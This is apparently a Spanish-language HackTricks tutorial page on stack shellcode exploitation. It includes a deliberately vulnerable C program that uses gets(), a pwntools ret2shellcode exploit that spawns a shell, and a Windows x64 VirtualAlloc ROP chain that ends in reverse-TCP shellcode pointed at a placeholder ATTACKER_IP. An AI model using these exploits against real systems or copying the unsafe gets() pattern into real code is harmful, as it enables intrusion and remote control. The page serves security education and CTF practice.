164 lines
9.0 KiB
Markdown

# Stack Shellcode
{{#include ../../../banners/hacktricks-training.md}}
## Información básica
**Stack shellcode** es una técnica usada en **binary exploitation** donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el **Instruction Pointer (IP)** o el **Extended Instruction Pointer (EIP)** para apuntar a la ubicación de ese shellcode, provocando su ejecución. Es un método clásico usado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluyendo un ejemplo simple en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**.
### Ejemplo en C: un programa vulnerable
Comencemos con un ejemplo simple de un programa en C vulnerable:
```c
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
Este programa es vulnerable a un buffer overflow debido al uso de la función `gets()`.
### Compilación
Para compilar este programa deshabilitando varias protecciones (para simular un entorno vulnerable), puede usar el siguiente comando:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Desactiva la protección de la pila.
- `-z execstack`: Hace la pila ejecutable, lo cual es necesario para ejecutar shellcode almacenado en la pila.
- `-no-pie`: Desactiva Position Independent Executable (PIE), facilitando predecir la dirección de memoria donde se ubicará nuestro shellcode.
- `-m32`: Compila el programa como ejecutable de 32 bits, frecuentemente usado por simplicidad en el desarrollo de exploits.
### Exploit en Python usando Pwntools
Aquí tienes cómo podrías escribir un exploit en Python usando **pwntools** para realizar un ataque **ret2shellcode**:
```python
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
```
Este script construye un payload consistente en una **NOP slide**, el **shellcode**, y luego sobrescribe la **EIP** con la dirección que apunta a la NOP slide, asegurando que el shellcode se ejecute.
El **NOP slide** (`asm('nop')`) se usa para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección de inicio de tu buffer más un offset para caer en la NOP slide.
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
En Windows modernos el stack no es ejecutable (DEP/NX). Una forma común de seguir ejecutando shellcode residente en el stack después de un stack BOF es construir una cadena ROP de 64 bits que llame a VirtualAlloc (o VirtualProtect) desde el módulo Import Address Table (IAT) para convertir una región del stack en ejecutable y luego retornar hacia el shellcode situado inmediatamente después de la cadena.
Puntos clave (convención de llamadas Win64):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → elige una dirección en el stack actual (p. ej., RSP) de modo que la región RWX recién asignada se solape con tu payload
- RDX = dwSize → lo suficientemente grande para tu chain + shellcode (p. ej., 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Estrategia mínima:
1) Leak la base de un módulo (p. ej., vía format-string, object pointer, etc.) para calcular las direcciones absolutas de gadgets e IAT bajo ASLR.
2) Encuentra gadgets para cargar RCX/RDX/R8/R9 (secuencias basadas en pop o mov/xor) y un call/jmp [VirtualAlloc@IAT]. Si no cuentas con pop r8/r9 directos, usa gadgets aritméticos para sintetizar constantes (p. ej., poner r8=0 y sumar repetidamente r9=0x40 cuarenta veces para llegar a 0x1000).
3) Coloca el stage-2 shellcode inmediatamente después de la cadena.
Example layout (conceptual):
```
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
```
Con un conjunto de gadgets limitado, puedes construir valores de registros de forma indirecta, por ejemplo:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → establecer r9 desde rbx, poner a cero r8 y compensar la pila con un qword basura.
- xor rbx, rsp; ret → inicializar rbx con el puntero de pila actual.
- push rbx; pop rax; mov rcx, rax; ret → mover el valor derivado de RSP a RCX.
Esbozo de Pwntools (dada una base conocida y gadgets):
```python
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
```
Consejos:
- VirtualProtect funciona de forma similar si es preferible convertir un buffer existente a RX; el orden de parámetros es diferente.
- Si el espacio en la stack es limitado, asigna RWX en otra parte (RCX=NULL) y jmp a esa nueva región en lugar de reutilizar la stack.
- Ten en cuenta siempre los gadgets que ajustan RSP (p. ej., add rsp, 8; ret) insertando qwords basura.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **debería estar deshabilitado** para que la dirección sea fiable entre ejecuciones o la dirección donde se almacenará la función no será siempre la misma y necesitarías algún leak para averiguar dónde se carga la función win.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) también deberían estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection impediría la ejecución del shellcode dentro de la stack porque esa región no sería ejecutable.
## Otros Ejemplos y Referencias
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR con leak de dirección de la stack, escribir shellcode y saltar a él
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR con leak de la stack, escribir shellcode y saltar a él
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR con leak de la stack, comparación para prevenir llamada a exit(), sobrescribir variable con un valor y escribir shellcode y saltar a él
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, sin ASLR, gadget ROP para hacer la stack ejecutable y saltar al shellcode en la stack
## Referencias
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
{{#include ../../../banners/hacktricks-training.md}}